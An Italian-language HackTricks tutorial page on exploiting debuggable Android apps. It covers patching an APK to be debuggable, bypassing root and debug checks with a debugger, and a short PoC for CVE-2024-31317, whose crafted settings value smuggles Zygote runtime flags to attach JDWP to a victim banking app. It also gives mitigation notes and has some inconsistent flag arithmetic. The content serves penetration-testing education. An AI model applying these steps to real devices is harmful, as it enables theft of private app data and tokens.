mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
128 lines
8.9 KiB
Markdown
128 lines
8.9 KiB
Markdown
# Sfruttare un'applicazione debuggabile
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
# **Evitare controlli di root e debuggabilità**
|
||
|
||
Questa sezione del post è un riassunto del post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||
|
||
## Passaggi per rendere un'app Android debuggabile e bypassare i controlli
|
||
|
||
### **Rendere l'app debuggabile**
|
||
|
||
Contenuto basato su https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||
|
||
1. **Decompila l'APK:**
|
||
|
||
- Utilizza lo strumento APK-GUI per decompilare l'APK.
|
||
- Nel file _android-manifest_, inserisci `android:debuggable="true"` per abilitare la modalità di debug.
|
||
- Ricompila, firma e zipaligna l'applicazione modificata.
|
||
|
||
2. **Installa l'applicazione modificata:**
|
||
|
||
- Usa il comando: `adb install <application_name>`.
|
||
|
||
3. **Recupera il nome del pacchetto:**
|
||
|
||
- Esegui `adb shell pm list packages –3` per elencare le applicazioni di terze parti e trovare il nome del pacchetto.
|
||
|
||
4. **Imposta l'app per attendere la connessione del debugger:**
|
||
|
||
- Comando: `adb shell am setup-debug-app –w <package_name>`.
|
||
- **Nota:** Questo comando deve essere eseguito ogni volta prima di avviare l'applicazione per garantire che attenda il debugger.
|
||
- Per persistenza, usa `adb shell am setup-debug-app –w ––persistent <package_name>`.
|
||
- Per rimuovere tutti i flag, usa `adb shell am clear-debug-app <package_name>`.
|
||
|
||
5. **Preparati per il debug in Android Studio:**
|
||
|
||
- Naviga in Android Studio su _File -> Open Profile or APK_.
|
||
- Apri l'APK ricompilato.
|
||
|
||
6. **Imposta i breakpoint nei file Java chiave:**
|
||
- Posiziona i breakpoint in `MainActivity.java` (specificamente nel metodo `onCreate`), `b.java` e `ContextWrapper.java`.
|
||
|
||
### **Evitare controlli**
|
||
|
||
L'applicazione, in determinati punti, verificherà se è debuggabile e controllerà anche i binari che indicano un dispositivo rootato. Il debugger può essere utilizzato per modificare le informazioni dell'app, disattivare il bit di debuggabilità e alterare i nomi dei binari cercati per bypassare questi controlli.
|
||
|
||
Per il controllo di debuggabilità:
|
||
|
||
1. **Modifica le impostazioni del flag:**
|
||
- Nella sezione variabili della console del debugger, naviga a: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||
- **Nota:** La rappresentazione binaria di `flags = 814267974` è `11000011100111011110`, indicando che il "Flag_debuggable" è attivo.
|
||
|
||
|
||
|
||
Questi passaggi garantiscono collettivamente che l'applicazione possa essere debuggata e che alcuni controlli di sicurezza possano essere bypassati utilizzando il debugger, facilitando un'analisi o una modifica più approfondita del comportamento dell'applicazione.
|
||
|
||
Il passaggio 2 comporta la modifica di un valore di flag a 814267972, che è rappresentato in binario come 110000101101000000100010100.
|
||
|
||
# **Sfruttare una vulnerabilità**
|
||
|
||
È stata fornita una dimostrazione utilizzando un'app vulnerabile contenente un pulsante e un textview. Inizialmente, l'applicazione visualizza "Crack Me". L'obiettivo è modificare il messaggio da "Try Again" a "Hacked" durante l'esecuzione, senza modificare il codice sorgente.
|
||
|
||
## **Controllo della vulnerabilità**
|
||
|
||
- L'applicazione è stata decompilata utilizzando `apktool` per accedere al file `AndroidManifest.xml`.
|
||
- La presenza di `android_debuggable="true"` nel AndroidManifest.xml indica che l'applicazione è debuggabile e suscettibile di sfruttamento.
|
||
- Vale la pena notare che `apktool` è impiegato esclusivamente per controllare lo stato di debuggabilità senza alterare alcun codice.
|
||
|
||
## **Preparazione dell'impostazione**
|
||
|
||
- Il processo ha comportato l'avvio di un emulatore, l'installazione dell'app vulnerabile e l'uso di `adb jdwp` per identificare le porte Dalvik VM che sono in ascolto.
|
||
- Il JDWP (Java Debug Wire Protocol) consente il debug di un'applicazione in esecuzione in una VM esponendo una porta unica.
|
||
- Il port forwarding è stato necessario per il debug remoto, seguito dall'attacco di JDB all'applicazione target.
|
||
|
||
## **Iniezione di codice durante l'esecuzione**
|
||
|
||
- Lo sfruttamento è stato effettuato impostando breakpoint e controllando il flusso dell'applicazione.
|
||
- Comandi come `classes` e `methods <class_name>` sono stati utilizzati per scoprire la struttura dell'applicazione.
|
||
- È stato impostato un breakpoint nel metodo `onClick`, e la sua esecuzione è stata controllata.
|
||
- I comandi `locals`, `next` e `set` sono stati utilizzati per ispezionare e modificare le variabili locali, in particolare cambiando il messaggio "Try Again" in "Hacked".
|
||
- Il codice modificato è stato eseguito utilizzando il comando `run`, alterando con successo l'output dell'applicazione in tempo reale.
|
||
|
||
Questo esempio ha dimostrato come il comportamento di un'applicazione debuggabile possa essere manipolato, evidenziando il potenziale per sfruttamenti più complessi come ottenere accesso shell sul dispositivo nel contesto dell'applicazione.
|
||
|
||
---
|
||
|
||
# 2024 – Trasformare **qualsiasi** applicazione in un processo debuggabile (CVE-2024-31317)
|
||
|
||
Anche se l'APK target _non_ è fornito con il flag `android:debuggable`, ricerche recenti hanno dimostrato che è possibile forzare **applicazioni arbitrarie** a partire con il flag di runtime `DEBUG_ENABLE_JDWP` abusando del modo in cui Zygote analizza gli argomenti della riga di comando.
|
||
|
||
* **Vulnerabilità:** Validazione impropria di `--runtime-flags` forniti attraverso il socket di comando di Zygote consente a un attaccante che può raggiungere `system_server` (ad esempio tramite la shell privilegiata `adb` che possiede il permesso `WRITE_SECURE_SETTINGS`) di iniettare parametri extra. Quando il comando creato viene riprodotto da `system_server`, l'app vittima viene forkata come _debuggable_ e con un thread JDWP in ascolto. Il problema è tracciato come **CVE-2024-31317** ed è stato risolto nel bollettino di sicurezza Android di giugno 2024.
|
||
* **Impatto:** Accesso completo in lettura/scrittura alla directory dei dati privati di **qualsiasi** app (inclusi quelli privilegiati come `com.android.settings`), furto di token, bypass MDM e, in molti casi, un percorso diretto per l'escalation dei privilegi abusando degli endpoint IPC esportati del processo ora debuggabile.
|
||
* **Versioni interessate:** Android 9 fino a 14 prima del livello di patch di giugno 2024.
|
||
|
||
## PoC rapida
|
||
```bash
|
||
# Requires: adb shell (device must be <2024-06-01 patch-level)
|
||
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
|
||
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
|
||
|
||
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
|
||
adb shell monkey -p com.victim.bank 1
|
||
|
||
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
|
||
adb jdwp # obtain the PID
|
||
adb forward tcp:8700 jdwp:<pid>
|
||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||
```
|
||
> Il valore creato nel passo 1 interrompe il parser dal “fast-path” e aggiunge un secondo comando sintetico dove `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) è accettato come se fosse stato fornito dal framework. Una volta che l'app è avviata, viene aperto un socket JDWP e trucchi di debug dinamico regolari (sostituzione di metodi, patching di variabili, iniezione live di Frida, ecc.) sono possibili **senza modificare l'APK o l'immagine di avvio del dispositivo**.
|
||
|
||
## Rilevamento e Mitigazione
|
||
|
||
* Applicare la patch al livello di sicurezza **2024-06-01** (o successivo) – Google ha indurito `ZygoteCommandBuffer` in modo che i comandi successivi non possano essere contrabbandati in questo modo.
|
||
* Limitare l'accesso a `WRITE_SECURE_SETTINGS` / `shell` sui dispositivi di produzione. Lo sfruttamento richiede questo permesso, che normalmente è detenuto solo da app ADB o privilegiate OEM.
|
||
* Su flotte gestite da EMM/MDM, applicare `ro.debuggable=0` e negare l'accesso shell tramite `adb disable-verifier`.
|
||
|
||
---
|
||
|
||
## Riferimenti
|
||
|
||
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
|
||
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|